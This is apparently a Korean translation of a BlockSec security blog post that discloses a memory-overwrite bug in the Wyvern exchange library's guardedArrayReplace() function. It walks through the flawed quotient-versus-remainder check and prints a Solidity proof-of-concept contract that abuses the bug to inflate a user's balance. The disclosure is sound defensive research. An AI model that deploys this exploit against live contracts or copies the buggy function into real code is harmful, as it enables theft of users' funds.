Back to Blog

와이번 프로토콜에서 새로운 메모리 덮어쓰기 취약점 발견

Code Auditing
September 8, 2022
6 min read

소개

저희의 취약점 탐지 시스템은 이전에 OpenSea에서 사용되었던 Wyvern 탈중앙화 거래소 프로토콜에 속한 Wyvern 라이브러리의 최신 구현에서 메모리 덮어쓰기 취약점을 발견했습니다. 이 버그는 임의의 스토리지 쓰기로 이어질 수 있습니다.

저희는 이메일 및 소셜 미디어 등을 통해 해당 프로젝트에 연락을 시도했지만, 아직 응답을 받지 못했습니다. OpenSea가 Seaport 프로토콜로 마이그레이션한 만큼, 상세 정보를 공개적으로 공개하는 것이 안전하다고 판단했습니다. 또한 이 버그 자체가 다소 까다롭고 그 악용 방식이 꽤 흥미롭기 때문에, 커뮤니티와 이러한 발견을 공유하고자 합니다.

설명

취약한 코드는 커밋 해시 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9로 공식 코드 저장소에서 확인할 수 있습니다.

구체적으로, 이 버그는 ArrayUtils.sol의 guardedArrayReplace() 함수에 존재합니다. 이름에서 알 수 있듯이, 이 함수는 하나의 동적 크기 바이트 배열(즉, _desired_라는 두 번째 매개변수)을 다른 배열(즉, _array_라는 첫 번째 매개변수)에 선택적으로 복사하는 데 사용됩니다. 이 함수는 워드 수준(즉, 0x20 바이트) 연산을 수행하도록 구현되어 있으며, 따라서 코드 로직은 나눗셈 결과에 따라 두 단계로 나눌 수 있습니다.

몫 부분(즉, words = array.length / 0x20)에 대해, 42번째 줄부터 49번째 줄까지의 코드 로직은 desired 배열을 대상 배열에 워드 단위로 복사합니다. 39번째 줄의 assert 문은 정수 산술로 인해 무용지물이지만, 이 단계는 예상대로 작동합니다.

이전 단계 이후, 나눗셈에서 나머지가 발생하면 올바르게 복사되지 않은 바이트가 남아 있다는 것을 의미합니다. 52번째 줄부터 66번째 줄까지의 코드 로직은 해당 바이트들을 처리하기 위해 설계되었습니다. 안타깝게도, 52번째 줄의 if 문은 검사를 수행할 때 나머지(array.length % 0x20) 대신 몫(words, 즉 array.length / 0x20)을 잘못 사용하고 있습니다.

심각도

이 버그는 임의의 스토리지 쓰기로 이어질 수 있습니다. _array.length_가 _0x20_으로 정확히 나누어떨어지는 경우, 복사 연산은 실제로 루프 로직에서 완료됩니다. 그러나 대부분의 경우, 함수는 취약한 로직으로 진입하여 desired 배열 뒤의 워드를 대상 배열에 복사하려 시도하며, 이는 필연적으로 범위를 벗어난 접근을 유발합니다. 더 나아가, 잘못된 로직은 대상 배열의 끝에 워드를 덮어쓰는 데 악용될 수 있으며, 이는 어떤 용도로도 사용될 수 있는 알 수 없는 메모리 영역입니다.

이 버그를 어떻게 악용할 수 있나요?

저희는 잠재적인 공격 벡터를 설명하기 위한 PoC 컨트랙트를 개발했습니다. PoC 컨트랙트에는 두 가지 함수가 있으며, _test()_라는 첫 번째 함수는 공격을 수행하는 데 사용되고, 두 번째 함수는 취약한 guardedArrayReplace() 함수입니다.

구체적으로, test() 함수에서 먼저 메모리 내 바이트(a, b, mask)와 배열(즉, _rewards)을 정의합니다. 여기서 정의된 __rewards_는 사용자의 보상을 계산하는 데 사용됩니다. _mask_를 사용하여 _a_를 _b_에 복사하기 위해 guardedArrayReplace() 함수를 호출한 후, __rewards_는 사용자의 잔액(즉, balances[msg.sender])에 추가됩니다.

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

여기서는 Remix를 사용하여 결과를 시연합니다. 초기에는 __rewards_와 _balances_에 어떠한 값도 할당하지 않았다는 점에 주목할 필요가 있습니다. 악용 후, 사용자 잔액이 극도로 큰 값으로 설정됩니다(빨간색 사각형 참조).

결론

드물기는 하지만, 이러한 메모리 덮어쓰기 취약점은 스마트 컨트랙트에 여전히 존재할 수 있습니다. 개발자들은 메모리를 조작하는 코드 로직에 주의를 기울여야 합니다.

BlockSec 소개

BlockSec은 2021년 세계적으로 著名한 보안 전문가 그룹에 의해 설립된 선도적인 블록체인 보안 회사입니다. 이 회사는 대중적 채택을 촉진하기 위해 신흥 Web3 세계의 보안성과 사용성을 향상시키는 데 전념하고 있습니다. 이를 위해 BlockSec은 스마트 컨트랙트 및 EVM 체인 보안 감사 서비스, 보안 개발 및 능동적 위협 차단을 위한 Phalcon 플랫폼, 자금 추적 및 조사를 위한 MetaSleuth 플랫폼, 그리고 크립토 세계를 효율적으로 탐색하는 Web3 빌더를 위한 MetaDock 확장 프로그램을 제공합니다.

현재까지 MetaMask, Uniswap Foundation, Compound, Forta, PancakeSwap 등 300개 이상의 저명한 고객사에 서비스를 제공했으며, Matrix Partners, Vitalbridge Capital, Fenbushi Capital 등 著名한 투자자들로부터 두 차례의 투자 라운드에서 수천만 달러를 유치했습니다.

공식 웹사이트: https://blocksec.com/

공식 트위터 계정: https://twitter.com/BlockSecTeam

Sign up for the latest updates
~$160만 손실: Moke 토큰, LpdFi 익스플로잇 | BlockSec 위클리
Security Insights

~$160만 손실: Moke 토큰, LpdFi 익스플로잇 | BlockSec 위클리

2026년 8월 3~9일, BNB 체인에서 2건의 보안 사고가 발생해 총 약 160만 달러의 손실이 발생했으며, 모두 가격 조작이 원인이었습니다. LpdFi(약 69.7만 달러)는 PancakeSwap 유동성 풀을 주문 평가와 이자 정산에 동시 사용해 공격자가 원금을 부풀리고 과도한 이자를 탈취했습니다. Moke Token(약 90.6만 달러)은 조작 가능한 현물 가격과 중복 LP 배당 회계를 결합해 MOKE를 부풀려 BNB 배당을 반복 수령했습니다.

COLDCARD 사건: 지갑의 "무작위" 시드가 무작위가 아니었을 때
Security Insights

COLDCARD 사건: 지갑의 "무작위" 시드가 무작위가 아니었을 때

COLDCARD 펌웨어의 빌드 통합 버그로 비트코인 시드 생성이 취약한 소프트웨어 RNG로 라우팅되어 지갑 시드가 오프라인 복구 가능해졌습니다. 시드 자체의 취약점이므로 펌웨어 업데이트로 해결 불가하며, 2026년 8월 7일 기준 확인된 피해는 1,405 BTC(~9,100만 달러), 비공개 추정치는 최대 2,055 BTC입니다.

~$88M 손실: COLDCARD 및 LULA 익스플로잇 | BlockSec 위클리
Security Insights

~$88M 손실: COLDCARD 및 LULA 익스플로잇 | BlockSec 위클리

2026년 7월 27일~8월 2일, 비트코인과 BNB 체인에서 약 8,800만 달러 손실을 유발한 두 건의 보안 사고가 발생했습니다. COLDCARD 사고는 하드웨어 지갑 펌웨어의 엔트로피 오류로, RNG 매크로 활성화 여부 미확인으로 결정론적 폴백이 실행되어 약 1,370 BTC(~8,800만 달러)가 탈취됐습니다. BNB 체인의 LULA 토큰은 비즈니스 로직 취약점으로 `recycle()` 함수가 악용되어 PancakeSwap V2 유동성에서 약 57만 8천 달러가 유출됐습니다.

Best Security Auditor for Web3

Validate design, code, and business logic before launch. Aligned with the highest industry security standards.

BlockSec Audit